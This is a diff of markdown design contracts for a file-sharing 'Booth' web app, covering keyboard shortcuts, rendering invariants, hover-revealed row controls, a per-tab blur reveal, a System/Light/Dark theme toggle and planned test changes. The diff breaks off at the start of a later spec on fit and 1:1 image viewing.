- That includes picks targeting other items, not only booth-level ones: the
|
||||
end of the set is where the remaining questions get cleared.
|
||||
- Before the last item, the other picks are a count and a link.
|
||||
- **Keys** (additive). **Every** key here, new and old, is ignored while focus
|
||||
is in an `input`, `textarea`, `select` or `contenteditable`, the same
|
||||
`isEditable` guard view.html carries today, so F never fires mid-note:
|
||||
|
||||
| key | action |
|
||||
|---|---|
|
||||
| ← → and Space | move. Shift+Space moves back. Space is left to a focused `<video>`/`<audio>` player, whose own play key it is |
|
||||
| F | flag |
|
||||
| N | focus the note |
|
||||
| Esc | back to the grid, at `#item-<url>` so the grid scrolls to where you were |
|
||||
|
||||
### C7 — copy and brand (the two rulings that are not layout)
|
||||
|
||||
- **Voice: plain and direct** (ruling `voice=plain`). Every NEW string R2
|
||||
introduces says what it means, with no villainy and no jokes. Existing
|
||||
strings are unchanged unless their surface is rewritten.
|
||||
- **No SVS emblem** anywhere in the Booth's chrome (ruling `emblem=no`). The
|
||||
brand dot and the reticle favicon from the SVOS retheme stay.
|
||||
|
||||
## Invariants
|
||||
|
||||
- **INV-1 — one resolver.** `ordinal` is set in `booth_items`. No route computes
|
||||
a position.
|
||||
- **INV-2 — order, stated.** Each ordered surface has a one-line rule:
|
||||
|
||||
| surface | rule |
|
||||
|---|---|
|
||||
| items | `sorted(rel)` |
|
||||
| ordinals | position in that |
|
||||
| review ring | that, filtered to media |
|
||||
| filmstrip, tape | the review ring |
|
||||
| flag tray | by ordinal |
|
||||
| Desk sections | fixed: needs → new → everything |
|
||||
| needs you | `(open_since, name)` |
|
||||
| new since you looked | `(-landed_at, name)` |
|
||||
| everything else | `(-landed_at, name)`: last updated first (amended 2026-09-23) |
|
||||
| bookmarks | `order_for_display` |
|
||||
|
||||
The notes list keeps `(created, id)`.
|
||||
- **INV-3 — JS-off parity.** Every judgment, filter and jump works with
|
||||
scripts disabled. The only JS-only affordances are:
|
||||
- the keys;
|
||||
- the in-place swap;
|
||||
- the image 1:1 toggle (a viewing convenience, unchanged from today);
|
||||
- the existing copy buttons and blur reveal.
|
||||
|
||||
The narrow-screen collapse is `<details>` and needs no script.
|
||||
- **INV-4 — 303 byte-identity, for every request shape that existed before
|
||||
R2.**
|
||||
- For a request where `wants_json` is False and `back` is absent or
|
||||
`marks`, each mark route's response (status, headers, body) is
|
||||
byte-identical to its pre-R2 response.
|
||||
- `back=view` is a NEW request shape with no pre-R2 counterpart. Its landing
|
||||
is specified in C3 and is the one declared exception.
|
||||
- **INV-5 — two named clocks.**
|
||||
- `mtime` / `_newest_mtime`: activity. It includes dotfiles and excludes
|
||||
locks, and it feeds lifetime. (It fed 'everything else' until 2026-09-23;
|
||||
see §3.)
|
||||
- `landed_at`: content only (non-dot entries), and it feeds 'new since you
|
||||
looked'.
|
||||
- Never the one where the other is meant: a mark or a view is not new
|
||||
content, and new content is not the only activity.
|
||||
- **INV-6 — no second renderer.** The in-place script inserts server-rendered
|
||||
HTML and builds none.
|
||||
- **INV-7 — autoescape.** No `|safe` on any booth name, item name, caption,
|
||||
why or mark text. The flag tray and filmstrip render names through the same
|
||||
escaping path as the grid.
|
||||
- **INV-8 — blur honesty.** A blurred item stays blurred on every new surface:
|
||||
the Desk preview strip, the flag tray, the filmstrip and the review stage.
|
||||
Reveal stays per-BROWSER and client-side (nothing persisted). Copy keeps admitting it is cosmetic.
|
||||
|
||||
## Assertions that change (declared before the code, per CLAUDE.md)
|
||||
|
||||
| test | today | after R2 | why |
|
||||
|---|---|---|---|
|
||||
| test_booth.py L785 | `class="grid kept-grid"` present when a booth is kept | absent; the kept booth appears in its Desk section with the `kept` lifetime line | requirement 8: the lanes sort nothing |
|
||||
| test_booth.py L786 | `class="card card-kept"` present | replaced by the row carrying `data-kept="1"` | same |
|
||||
| test_embed_browser.py `test_the_keyboard_flag_actually_submits` | pressing `f` causes a NAVIGATION (`page.expect_navigation()`), and the reloaded page shows the flag | pressing `f` causes NO navigation; the flag comes back from the server into the swapped tile. A window marker set before the keypress must survive, proving no reload | with JS on, the flag now applies in place (requirement 3). The gallery reload was the no-JS design working, not a defect, and the plain-form path is still pinned by the INV-4 golden. The defect R2 fixes is the full-size EJECTION, `view.html`'s flag form carrying no `back`. The test's real claim — the key reaches the server and the server's state comes back — is kept, and asserted more strictly |
|
||||
| test_booth.py L789 | the kept booth renders BEFORE the ephemeral one (`html.index("links") < html.index("scratch")`) | replaced by the Desk's stated order (needs → new → everything, each with its own key) | the kept-first order was the lane's; with no lane there is no kept-first rule, and a second hidden ordering would break INV-2 |
|
||||
| test_booth.py L810-811 | lane absent when nothing is kept | these two SURVIVE unchanged (they assert absence and stay true) | — |
|
||||
|
||||
Every other existing assertion is expected to survive, and one of the TDD
|
||||
slices is "the whole suite green before any new test". Named because they were
|
||||
checked:
|
||||
|
||||
- the `vnav vprev` / `vnav vnext` anchors (test_booth L569-591 and
|
||||
test_navigation L337) keep their classes and hrefs;
|
||||
- `Wipe now` stays in the booth header;
|
||||
- `class="boothhead"` stays.
|
||||
|
||||
## Accepted risks (named, not fixed)
|
||||
|
||||
- **`.seen` is read-modify-write without a lock.** Two reviews of the same
|
||||
booth racing can drop one rel from `.seen`. The cost is cosmetic — a frame
|
||||
shown unseen on the tape — and the next look repairs it; a lock would buy a
|
||||
cosmetic count at the price of a lock file the lifetime clock must ignore.
|
||||
- **A `.viewed` symlink planted by an agent freezes 'new'.** `viewed_at`
|
||||
reads it by `lstat`, and `record_view` refuses to write through it
|
||||
(`O_NOFOLLOW`), so the marker never moves again: once content lands after
|
||||
it, the booth reads as 'new' however often it is opened. It fails in the
|
||||
visible direction — shown, never hidden — and needs write access to the
|
||||
booth, which already buys worse. The remedy is deleting the link.
|
||||
- **`Item` gains `ordinal` with no default.** `booth_items` is the single
|
||||
construction site, keyword-only; a default would let a second site forget
|
||||
it silently (INV-1).
|
||||
|
||||
## Out of scope
|
||||
|
||||
- Compare (r3).
|
||||
- Thumbnails.
|
||||
- 1–9 answer keys.
|
||||
- Lifetime policy for answered picks.
|
||||
- The verbatim path. A verbatim booth's media items remain reachable at
|
||||
`view?f=` by URL, as today, and nothing in the verbatim page links there.
|
||||
- The link-board page (`/b/links/`) beyond CSS.
|
||||
@@ -0,0 +1,369 @@
|
||||
---
|
||||
contract_version: "0.1"
|
||||
status: "PROPOSED 2026-09-23 by design-dev, from operator rulings relayed by booth-dev the same day (thread 01M38BJ30WVQT870MS6WGM49EK): blur=A; three Desk-row rulings; a theme toggle. Contract panel folded. Both open points answered by the operator (thread 01M38CT9DH2N3Z4FSJ0MNE4DR1): × hides (A), and the theme reaches inside verbatim pages. DELIVERED IN TWO MERGES, blur first (operator: 'per booth blurring is now important since we are showing up to 4 images'): merge 1 = D2 + D2b, merge 2 = D1 + D3."
|
||||
module: "templates + base.html CSS/JS + the vendored token sheet (the Desk row, Reveal all, the theme toggle)"
|
||||
purpose: "Three operator rulings, one contract. THE DESK ROW: kept vs ephemeral reads at a glance; download/keep/release appear only on hover, at no space cost; the zip link leaves the middle. REVEAL ALL: one control reveals every blurred item in a booth for the life of the tab. THE THEME TOGGLE: System / Light / Dark at the top of every page."
|
||||
depends_on:
|
||||
- "booth.items.booth_items + Item.blurred (INV-1 of r2: the one resolver). Reveal all reads Item.blurred and nothing else. booth-dev is adding a booth-level blur flag that feeds Item.blurred (composes with `.blurred`, never overrides); this contract needs no change when it lands."
|
||||
- "templates/_lifetime.html `lifetime(kept, hold, expires_in)` — its OUTPUT is unchanged; the Desk wraps it."
|
||||
- "booth.app.index / list_booths row fields `kept`, `hold`, `expires_in`, `name`, `name_url`, `count`, `flags`, `marks_open`, `uploaded` (unchanged)."
|
||||
- "booth.app.booth_view / booth_view_file contexts (`name`, `items`, the review ring)."
|
||||
- "the in-place client in base.html (r2 C3): POSTs a form, re-fetches the CURRENT URL and swaps its `data-region` elements. It never navigates — every change of page, booth to booth included, is a full load — and it never touches <html>, the top bar, or anything outside a region."
|
||||
- "booth.items.is_booth_blurred(booth) + BOOTH_BLUR_FILE `.blurbooth` (booth-dev, c1108a1): the whole-booth blur marker. Fails toward BLURRED on an unreadable read."
|
||||
- "POST /b/{name}/blurbooth with `on=1|0` and optional `back=<rel>` → 303 to the booth, or to `view?f=<rel>` (booth-dev, c1108a1). Not a mark route: no 204, always the 303."
|
||||
language: "jinja + css + a little javascript"
|
||||
complexity: "medium"
|
||||
estimated_loc: 350
|
||||
confidence: 0.7
|
||||
touches:
|
||||
- "booth/templates/index.html (the row: facts line, lifetime pill, the hover cluster, the `blurred` badge; the confirm script unchanged)"
|
||||
- "booth/app.py (READS only, no new route: `booth_blurred` in the booth_view and booth_view_file contexts and on each list_booths row; `blurred_self` on each gallery dict, read off `Item.blurred_self` — moved onto the item record by booth-dev 2026-09-23 so blur state has one reader, invariant 3)"
|
||||
- "booth/templates/base.html (Desk row CSS; reveal-all CSS; the theme toggle markup in the top bar; the early <head> script; the toggle script)"
|
||||
- "booth/templates/booth.html (Reveal all in the booth header; per-tile reveal defers to it)"
|
||||
- "booth/templates/view.html (Reveal all in the review; the stage reveal defers to it)"
|
||||
- "booth/templates/_svos_tokens.css (RE-VENDORED at the same SVOS SHA ed2f8d8 with a new scoping transform; no value changes)"
|
||||
- "booth/static/embed.js (the `.bk-ask` colours follow the theme choice; D3)"
|
||||
- "tests/test_flow_browser.py, tests/test_flow.py (new tests; two assertions change, see below)"
|
||||
- "tests/mutations/r2_flow.toml (rows whose anchors this moves are re-aimed, never deleted without a replacement)"
|
||||
assumptions:
|
||||
- "ONE VIEWER, per r2. A reveal and a theme are per-browser; the server stores neither."
|
||||
- "EVERY JUDGMENT WORKS WITH JAVASCRIPT OFF (INV-3 of r2). Keep, release, wipe and zip stay plain forms and a link. Reveal all and the toggle are JS-only affordances and do not render without JS."
|
||||
resolved_questions:
|
||||
- "OPEN-1: does × (wipe) hide until hover with download/keep/release? ANSWERED YES by the operator (2026-09-23), the recommendation."
|
||||
- "Does the theme toggle reach the ask chrome (`.bk-ask`) inside verbatim pages? ANSWERED YES by the operator: 'theme toggle reaches inside'."
|
||||
---
|
||||
|
||||
# R2b — the Desk row, Reveal all, the theme toggle
|
||||
|
||||
## D1 — the Desk row
|
||||
|
||||
The operator, verbatim: *"let's make it obvious which are kept and which are
|
||||
ephemeral"*; *"the zip download button is in between keep/release and wipe, and
|
||||
looks awkward"*; *"let's have the download, keep and release buttons only appear
|
||||
on mouseover"*.
|
||||
|
||||
- **The lifetime is a pill in the row's right column, always visible.** It is
|
||||
state, not a control, so it stays when the controls hide, and the right column
|
||||
scans down the Desk as one column of state.
|
||||
- `life-kept` when `b.kept`: sage (SVOS: a judgment made), prefixed `★`.
|
||||
- `life-held` when not kept and `b.hold` is `open` or `unreadable`: amber.
|
||||
- `life-count` otherwise: neutral outline, prefixed `◷`.
|
||||
- The pill wraps `lifetime(...)`, whose output is unchanged; the class is
|
||||
chosen from `kept`/`hold` alone.
|
||||
- The badges (open count, new, pickup, marks unreadable) stay in the same
|
||||
column, above the pill. The column always renders now, because every row
|
||||
has a lifetime.
|
||||
- **The facts line is facts only**: item count and flag count. The lifetime and
|
||||
every control leave it.
|
||||
- **The controls are one cluster, `.desk-acts`, in this order:** `⬇ zip`, then
|
||||
`★ keep` or `release`, then `× wipe`, set apart from the other two. Zip leaves
|
||||
the middle; release stays next to × (the operator's earlier "x next to
|
||||
release").
|
||||
- **Where a real hover exists, the cluster takes no room.** "Real hover" is
|
||||
`(hover: hover) and (pointer: fine)` with NO coarse pointer present
|
||||
(`any-pointer: coarse` does not match). A touch laptop reports a mouse, but a
|
||||
finger on it cannot hover, so it gets the touch treatment below.
|
||||
- At rest the cluster is absolutely positioned over the top-right corner of
|
||||
the row's preview strip, at opacity 0 and `pointer-events: none`. On row
|
||||
`:hover` or `:focus-within`, BOTH are restored: opacity 1 and
|
||||
`pointer-events: auto`. A visible control that cannot be clicked is a
|
||||
defect.
|
||||
- It covers pictures, never information: its box never intersects
|
||||
`.desk-main` or `.desk-side` at any width.
|
||||
- Keyboard: the controls stay in the tab order while hidden (opacity, never
|
||||
`visibility`/`display`), and focusing one reveals the cluster.
|
||||
- At ≤700px the strip is the row's first line, full width, and the text
|
||||
column, pill and badges wrap below it. The cluster sits at the strip's
|
||||
top-right, which is still picture.
|
||||
- **Everywhere else (no hover, a coarse primary pointer, or any coarse pointer
|
||||
present), the cluster is visible and in flow**, on its own line at the
|
||||
bottom of the row.
|
||||
- **The cluster is LAST in the row's markup**, so the booth's name comes first
|
||||
in tab order and wipe comes last. Where a real hover exists it is placed over
|
||||
the strip from the row's own box: the strip keeps to the row's top, 210px
|
||||
wide from the row's 12px padding.
|
||||
- Accepted: the hover query uses Media Queries 4 `not (...)`. An engine
|
||||
without MQ4 drops the whole query, and the failure is the safe
|
||||
direction: the controls show, in flow.
|
||||
- Known limit: the touch-LAPTOP branch (a fine primary pointer plus a coarse
|
||||
one) cannot be emulated, because Chromium's touch emulation makes the
|
||||
primary pointer coarse. That branch is covered by reading the media query,
|
||||
not by a test. Hover-only would mean no
|
||||
controls at all on touch. Every control there is at least 28px square
|
||||
(r2's Slate T2 floor).
|
||||
- **× hides with the others** (OPEN-1, answered yes). A visible × on every row
|
||||
would be a standing invitation to the one irreversible action. A visible × on
|
||||
every row is a standing invitation to the one irreversible action, and hiding
|
||||
the safe controls while the destructive one stays inverts the priority. It
|
||||
appears with the cluster, last, set apart.
|
||||
- Unchanged: the forms, their POST targets, `data-confirm`, `data-booth`, the
|
||||
confirm script and its `shown()`, the ≥28px coarse-pointer floor, and "no page
|
||||
scrolls sideways at any width".
|
||||
|
||||
### D1b — dates (operator, added 2026-09-23: "I think I want creation and update dates on the booths now too")
|
||||
|
||||
Merge 2, with the row. booth-dev has put both on the record (thread
|
||||
01M38D39ANKF2TW2F15TEYJ1GT):
|
||||
- `created_at` is the directory's birth time via `statx`, a float epoch, or
|
||||
None when the filesystem cannot say. None renders as NOTHING, never a guess.
|
||||
- "Updated" is `landed_at`, the content clock the "new" section already reads.
|
||||
|
||||
They render on the Desk row's facts line and in the booth header's status line
|
||||
as dated FACTS, a different kind of thing from the lifetime pill (state) and the
|
||||
controls (actions). One macro, `_dates.html`, serves both:
|
||||
- **created** is a DATE, "created 12 Sep" (with the year only when it is not
|
||||
this year's);
|
||||
- **updated** is an AGE, "updated 5d ago", measured from ONE clock per page
|
||||
(`now` in the context), so every row is measured from the same instant;
|
||||
- each is a `<time>` with `datetime` (ISO) and its exact local stamp as the
|
||||
title;
|
||||
- **updated shows whenever it differs from created by a minute or more,
|
||||
EITHER way.** Copied files keep their mtimes while the folder is born now,
|
||||
so content can be older than its booth. Within a minute, one date;
|
||||
- a content clock AHEAD of now is said as its DATE, never as an age ("updated
|
||||
just now" would be false);
|
||||
- an age is in its largest whole unit, a day being 24h;
|
||||
- a date the filesystem cannot give, or the calendar cannot hold, renders
|
||||
NOTHING. The filters never raise: the Desk renders every row in one
|
||||
response, so one unrenderable clock would otherwise 500 the index for every
|
||||
booth.
|
||||
|
||||
## D2 — Reveal all (blur ruling A)
|
||||
|
||||
- **One STATE per booth, shown by a control in two places: "👁 reveal all —
|
||||
blur is cosmetic" / "🙈 blur again".** It appears in the booth header, the
|
||||
review's top bar and a blurred doc's own top bar. Every instance sits OUTSIDE
|
||||
every `data-region`, so no in-place swap replaces it: its state lives in the
|
||||
tab, and a swap must never reset it. Below 600px it reads "👁 reveal all";
|
||||
its title still says the blur is cosmetic. The server puts the control in the markup only
|
||||
where it can act, and always with the `hidden` attribute: in the header when
|
||||
any item of the booth is blurred (`Item.blurred`), and in the review when any
|
||||
item of the review RING is (a blurred doc is not on the review page, so a
|
||||
control there would act on nothing). The script removes `hidden` and binds it. Without
|
||||
JS it is in the markup but never shown.
|
||||
- **State: `sessionStorage["booth.reveal:" + <booth name>] = "1"`.** Per booth,
|
||||
per tab, gone when the tab closes, so a blurred booth is blurred again next
|
||||
time. Nothing reaches the server.
|
||||
- A READ that throws (a private window, blocked site data) reads as "not
|
||||
revealed".
|
||||
- A WRITE that throws still applies the click to the page in front of you:
|
||||
it is only not remembered for the next page. A control that does nothing
|
||||
when clicked is a defect. Neither case ever raises.
|
||||
- **The mechanism is one class on `<html>`, `reveal-all`.** CSS lifts the blur
|
||||
under it on every booth surface: tiles, the flag tray, the filmstrip and the
|
||||
review stage. `<html>` is outside every `data-region`, so an in-place swap
|
||||
can never drop it.
|
||||
- `<html data-booth="<name>">` is on EVERY page rendered for one booth: the
|
||||
booth page, the review, the doc view and the marks page. It is an
|
||||
autoescaped attribute, read by `getAttribute` and never templated into
|
||||
script. An early `<head>` script adds `reveal-all` before first paint when
|
||||
that booth's key is set, so a revealed booth does not flash blurred on the
|
||||
next page of the reel.
|
||||
- Because every change of page is a full load, the class is re-decided per
|
||||
page, from that page's `data-booth`. Booth A's reveal cannot follow you
|
||||
into booth B.
|
||||
- The index's `<html>` carries no `data-booth` (its rows' own `data-booth`
|
||||
attributes are unrelated), so **nothing on the index is revealed by D2**,
|
||||
the Desk strip included.
|
||||
- **A board holding files gets both controls.** Only the one-click wipe is
|
||||
board-suppressed; an item's "◉ booth" label points at the header control,
|
||||
so the control must be there.
|
||||
- **The full-page doc view is blurred honestly.** A blurred doc's own page
|
||||
renders its body blurred, with its own JS-only reveal; Reveal all lifts it
|
||||
by the same `<html>` class.
|
||||
- **The per-item reveal defers to it, BY STYLESHEET.** Under `.reveal-all` the
|
||||
per-tile and stage reveal buttons are `display: none`. That is a CSS
|
||||
consequence of the class, so markup swapped in after a save obeys it with no
|
||||
script. Reveal all never touches an item's own `revealed` class: "blur
|
||||
again" returns every item to exactly the per-item state it had, an item
|
||||
revealed on its own staying revealed.
|
||||
- INV-8 of r2 holds: the server renders every blurred item blurred; the reveal
|
||||
stays per-browser and client-side; the copy keeps saying it is cosmetic.
|
||||
|
||||
## D2b — the booth blur toggle (added after the contract panel was dispatched)
|
||||
|
||||
booth-dev landed the whole-booth marker and its route while the panel was
|
||||
reading; this is the control the operator uses, which the blur ruling assumed.
|
||||
|
||||
- **"◌ blur booth" / "◉ booth blurred" in the booth header and the review's
|
||||
top bar (`.vbar`)**, each wrapped in its OWN region, `blur-booth`. Its label is
|
||||
server state, so an in-place save refreshes it with everything else; a fog
|
||||
set elsewhere since the page loaded would otherwise leave it saying "blur
|
||||
booth". It is a plain `<form method=post action=/b/<name>/blurbooth>` with
|
||||
`on=1|0`, so it works with scripts off (INV-2). From the review it carries
|
||||
`back=<rel>`. The route lands on the review only when `back` is an item of
|
||||
the review ring, and otherwise on the booth page; the landing is built from
|
||||
the ring, never echoed.
|
||||
- **Fogging never writes through a link.** booth-dev's `set_booth_blurred` used
|
||||
`touch()`, which followed a planted `.blurbooth` symlink: a click of this
|
||||
control rewrote an outside file's mtime, or created a dangling target. Any
|
||||
entry already at the name reads as fogged, so nothing is written; otherwise
|
||||
the marker is created with `O_CREAT | O_EXCL | O_NOFOLLOW`.
|
||||
- **Space never hijacks a focused control.** The review's Space-to-advance
|
||||
ignores a focused button, link or summary, so a keyboard can press these
|
||||
controls.
|
||||
- **Its state comes from the server**, never from the client:
|
||||
`booth_blurred = is_booth_blurred(booth)` in both contexts. The label says
|
||||
what IS, and pressing it flips it.
|
||||
- **The Desk row carries a `blurred` badge** when `booth_blurred`, so a fogged
|
||||
strip says why. It is one `is_booth_blurred` call per booth in the pass
|
||||
`list_booths` already makes. The badge is information: it is not the
|
||||
control, and it does not hide on hover.
|
||||
- It is independent of Reveal all. Fogging a booth sets server state for every
|
||||
viewer; Reveal all lifts the fog for one tab.
|
||||
- **Each item's own blur control tells the truth under a fogged booth.**
|
||||
`Item.blurred` is the COMPOSED fact (own OR booth). The per-item form changes
|
||||
only the item's own entry in `.blurred`, so the gallery also carries
|
||||
`blurred_self`, from `Item.blurred_self` (the same single read `booth_items` makes for `blurred`).
|
||||
- An item blurred only because the booth is shows "◉ booth", a label with no
|
||||
form, pointing at the header. A per-item un-blur there would be overridden
|
||||
by the booth flag and visibly do nothing.
|
||||
- An item blurred on its own keeps its "◉ blurred" un-blur.
|
||||
- Found by rendering the built page, not by any review.
|
||||
|
||||
## D3 — the theme toggle
|
||||
|
||||
- **System · Light · Dark, in the top bar of every page.** A segmented control
|
||||
of three buttons with `aria-pressed`. The top bar is outside every
|
||||
`data-region`, so no swap replaces it. It is in the markup with `hidden`,
|
||||
and the script removes that and binds it.
|
||||
- **State: `localStorage["booth.theme"]` ∈ {`light`, `dark`}; absent = System.**
|
||||
The opposite lifetime to Reveal all, deliberately: a theme should outlive the
|
||||
tab, a reveal must not. A READ that throws reads as System. A WRITE that
|
||||
throws still applies the choice to this page, and it is only not
|
||||
remembered.
|
||||
- **Mechanism: `data-theme` on `<html>`.** Absent = the OS preference, exactly
|
||||
today's sheet. An early `<head>` script sets it before first paint, so a
|
||||
forced theme never flashes the other one.
|
||||
- **A choice made in another tab moves every open Booth page** (the `storage`
|
||||
event), as it moves the ask chrome.
|
||||
- **System is live-following BY CONSTRUCTION.** Choosing System removes
|
||||
`data-theme`, and the `prefers-color-scheme` media query takes over. A media
|
||||
query tracks the OS live, so no `matchMedia` listener is needed: JS never
|
||||
computes the theme.
|
||||
- **The token sheet is re-vendored at the same SVOS SHA (ed2f8d8) with a new
|
||||
scoping transform, and no value changes.** The complete selector list:
|
||||
|
||||
| block | selector |
|
||||
|---|---|
|
||||
| primitives, dark, art layer | `:root` (unconditional: dark is the default, and what forced dark leaves standing) |
|
||||
| light + art-light | `@media (prefers-color-scheme: light)` → `:root:not([data-theme="dark"])` |
|
||||
| light + art-light | `:root[data-theme="light"]` |
|
||||
| dark-hc | `@media (prefers-contrast: more)` → `:root` |
|
||||
| light-hc | `@media (prefers-contrast: more) and (prefers-color-scheme: light)` → `:root:not([data-theme="dark"])` |
|
||||
| light-hc | `@media (prefers-contrast: more)` → `:root[data-theme="light"]` |
|
||||
|
||||
- **Forced dark** excludes both light rows, so the unconditional dark block
|
||||
stands, with dark-hc under more contrast.
|
||||
- **Forced light** matches the bare light row at specificity (0,2,0), which
|
||||
beats dark-hc's `:root` (0,1,0). The light-hc row then applies under more
|
||||
contrast.
|
||||
- **The preservation check runs in BOTH directions at vendoring time**:
|
||||
every declaration of the old sheet is in the new, and the new has none the
|
||||
old lacked. The committed test checks each re-scoped copy against the
|
||||
UNMOVED dark block. SVOS's light and dark declare the same 42 properties,
|
||||
and its dark-hc and light-hc the same 41, so a declaration the transform
|
||||
drops fails it. Light declares every dark-block property PLUS the art
|
||||
layer's four light-only values (the three shadows and the armed glow).
|
||||
That extra set is written in the test from SVOS, never derived from the
|
||||
copies, so dropping it from both copies fails too.
|
||||
- **No JS: no toggle, and the page follows the OS**, as today.
|
||||
- **The toggle reaches inside verbatim pages** (operator: "theme toggle reaches
|
||||
inside"). `embed.js` reads the same `localStorage["booth.theme"]` (the same
|
||||
origin) and marks each `.bk-ask` IT MOUNTED (never an author's own element
|
||||
of that class) with `data-bk-theme`. Its
|
||||
colours follow that attribute exactly as the Booth's own sheet follows
|
||||
`data-theme`: forced when set, OS when absent. It follows a change made in
|
||||
another tab through the `storage` event. It sets nothing on the host page's
|
||||
own `<html>`: the author's page is not ours to theme, only our guest chrome
|
||||
inside it. If a forced theme makes the chrome look actively broken against
|
||||
a host page, that goes back to the operator rather than being absorbed.
|
||||
|
||||
## Invariants
|
||||
|
||||
- **INV-1 — nothing new on the server beyond READS.** No route and no file are
|
||||
added: `booth_blurred` in two contexts and on the Desk row (`is_booth_blurred`),
|
||||
and `blurred_self` per gallery item (`Item.blurred_self`, from `booth_items`' one read). D2 and D3 are per-browser state; D1 is markup and CSS.
|
||||
- **INV-2 — JS-off parity (r2 INV-3).** Every control on the row works with
|
||||
scripts off. Reveal all and the toggle do not render without JS. The page
|
||||
follows the OS.
|
||||
- **INV-3 — no reserved room for a hidden control** where a real hover exists.
|
||||
The box of every element in the row other than the cluster — the strip, each
|
||||
preview image, the text column, the side column, the pill — is identical
|
||||
with the cluster present or removed.
|
||||
- **INV-4 — blur honesty (r2 INV-8).** Nothing on the index is revealed by D2.
|
||||
- **INV-5 — autoescape.** The booth name reaches the reveal-state machinery
|
||||
only as an escaped attribute value (`data-booth`), read by `getAttribute` and
|
||||
never templated into a script.
|
||||
- **INV-6 — no flash.** A forced theme and a set reveal are applied before
|
||||
first paint.
|
||||
|
||||
## TESTS
|
||||
|
||||
- `the_row_controls_take_no_room_where_a_hover_exists` [tracer]: at rest the
|
||||
cluster is at opacity 0 and cannot be clicked. On row hover it is at opacity 1
|
||||
and a click on keep reaches the server. The box of every other element in
|
||||
the row is identical with the cluster removed. The cluster's box never
|
||||
intersects the text or side column, at 390 / 720 / 1000 / 1400px.
|
||||
- `on_touch_the_row_controls_are_visible_in_flow_and_at_least_28px`: a touch
|
||||
context (no hover, coarse pointer).
|
||||
- `the_lifetime_pill_class_is_kept_held_or_counting`: the class is chosen by
|
||||
state, the lifetime words are unchanged, and the pill is visible with no
|
||||
hover.
|
||||
- `the_row_controls_run_zip_keep_or_release_then_wipe`.
|
||||
- `reveal_all_reveals_every_blurred_surface_and_survives_the_next_page`: tiles
|
||||
and tray on the booth page, stage and filmstrip on the review, across a
|
||||
navigation in the same tab; a fresh tab (new context) is blurred again.
|
||||
- `reveal_all_never_reaches_the_desk`.
|
||||
- `the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review`: header
|
||||
and review forms POST `/blurbooth`; the label follows `is_booth_blurred`; the
|
||||
review form carries `back`; the Desk row shows `blurred`.
|
||||
- `reveal_all_survives_an_in_place_save`: after a save, the blur is still
|
||||
lifted, the control still reads "blur again" and still works, and the
|
||||
per-tile buttons are still hidden.
|
||||
- `reveal_all_on_booth_a_does_not_reveal_booth_b`.
|
||||
- `blur_again_restores_each_items_own_reveal`.
|
||||
- `reveal_all_is_absent_without_blurred_items_and_hidden_without_js`: no markup
|
||||
when nothing is blurred; with blurred items, the markup carries `hidden` and
|
||||
a JS-disabled context never shows it.
|
||||
- `a_storage_failure_still_applies_the_click`: sessionStorage and localStorage
|
||||
throwing on write; the reveal and the theme still apply to the page.
|
||||
- `the_theme_toggle_forces_light_and_dark_and_system_follows_the_os_live`:
|
||||
pressing Light/Dark changes `--surface-base` and survives a reload (new page,
|
||||
same context); System plus an emulated OS scheme flip changes it WITHOUT a
|
||||
reload.
|
||||
- `a_forced_theme_follows_high_contrast`: under `prefers-contrast: more`,
|
||||
forced dark resolves exactly what OS dark does, and forced light what OS
|
||||
light does. The check reads tokens that DIFFER between a theme and its
|
||||
high-contrast variant (`--text-faint`, `--border-default`; `--surface-card`
|
||||
is the same in both and would prove nothing), and asserts that high contrast
|
||||
actually changed them.
|
||||
- `a_forced_theme_and_the_os_theme_are_the_same_declarations`: each light copy
|
||||
equals the other and declares the dark block's property set plus the four
|
||||
art-light values; each light-hc copy equals the other and declares exactly
|
||||
the dark-hc block's.
|
||||
- `created_and_updated_are_dated_facts_and_none_says_nothing`,
|
||||
`updated_shows_whenever_it_differs_from_created_and_a_future_one_says_its_date`,
|
||||
`a_date_no_calendar_can_hold_renders_nothing_and_never_500s`,
|
||||
`an_age_is_said_in_its_largest_whole_unit` (D1b).
|
||||
- `a_rows_booth_name_comes_before_its_controls_in_tab_order`,
|
||||
`the_pill_shows_at_rest_and_focus_reveals_the_controls`,
|
||||
`with_scripts_off_a_rows_controls_still_act` (D1).
|
||||
- `a_theme_chosen_in_one_tab_moves_the_others`,
|
||||
`the_theme_marks_only_the_ask_fragments_we_mounted` (D3).
|
||||
|
||||
## Assertions that change (declared before the code)
|
||||
|
||||
| test | today | after | why |
|
||||
|---|---|---|---|
|
||||
| test_flow_browser `test_a_rows_keep_release_and_wipe_take_no_room_of_their_own` | controls visible at rest; a row with no badge has no side column (gap ≤14px) | replaced by `the_row_controls_take_no_room_where_a_hover_exists` | the operator ruled hover-reveal; the side column now always holds the lifetime pill |
|
||||
| test_flow_browser `test_on_a_touch_screen_the_row_controls_keep_their_tap_floor` | measures `.desk-facts form button` | the same floor, measured on `.desk-acts` controls | the controls moved; the floor did not |
|
||||
| test_flow_browser `test_the_wipe_dialog_shows_what_is_being_wiped_and_never_fails_open` | clicks the row's wipe at rest | hovers the row first, then clicks | wipe is hidden until hover (OPEN-1, answered yes) |
|
||||
| tests/mutations/r2_flow.toml, four rows on the facts-line controls | proved the controls visible at rest on the facts line | retired, with successors in r2b.toml | their tests were replaced, as declared above |
|
||||
|
||||
## Out of scope
|
||||
|
||||
- The booth page header's keep / release / wipe (`.keep-lg`, `.wipe-lg`) — the
|
||||
rulings named the Desk row.
|
||||
- A site-wide blur switch (ruling A, not B).
|
||||
- The tagline copy.
|
||||
@@ -0,0 +1,198 @@
|
||||
---
|
||||
contract_version: "0.1"
|
||||
status: "PROPOSED 2026-09-23 by design-dev; heid contract panel (4/4) folded, from the operator's ask relayed by booth-dev (thread 01M38FPYAY5RSMSB9BGQ23CFM7) and his ruling 'Fit may enlarge' (thread 01M38EESKR8T7A8XMCQPHRNP0E). Sequenced after r2b and before r3 (compare), so compare reuses this machinery rather than growing a second copy."
|
||||
module: "templates/view.html + base.html CSS (the review stage: fit / 1:1, the prev/next arrows, drag-pan)"
|
||||
purpose: "The operator, verbatim: 'fit and 1:1 modes as well as moving the forward and back arrows closer to the edge of the image instead of out at the edges unless the image spans the entire width. mouse click and pan for 1:1 mode if it exceeds page width (defeat drag drop of image)'. Fit/1:1 exists but hides whenever a picture fits at natural size, and Fit never enlarges, so the two modes often look identical and the toggle comes and goes from picture to picture. The arrows sit at the stage's edges, hundreds of pixels from a portrait picture. 1:1 pans only by scrollbars, and a drag picks the picture up."
|
||||
depends_on:
|
||||
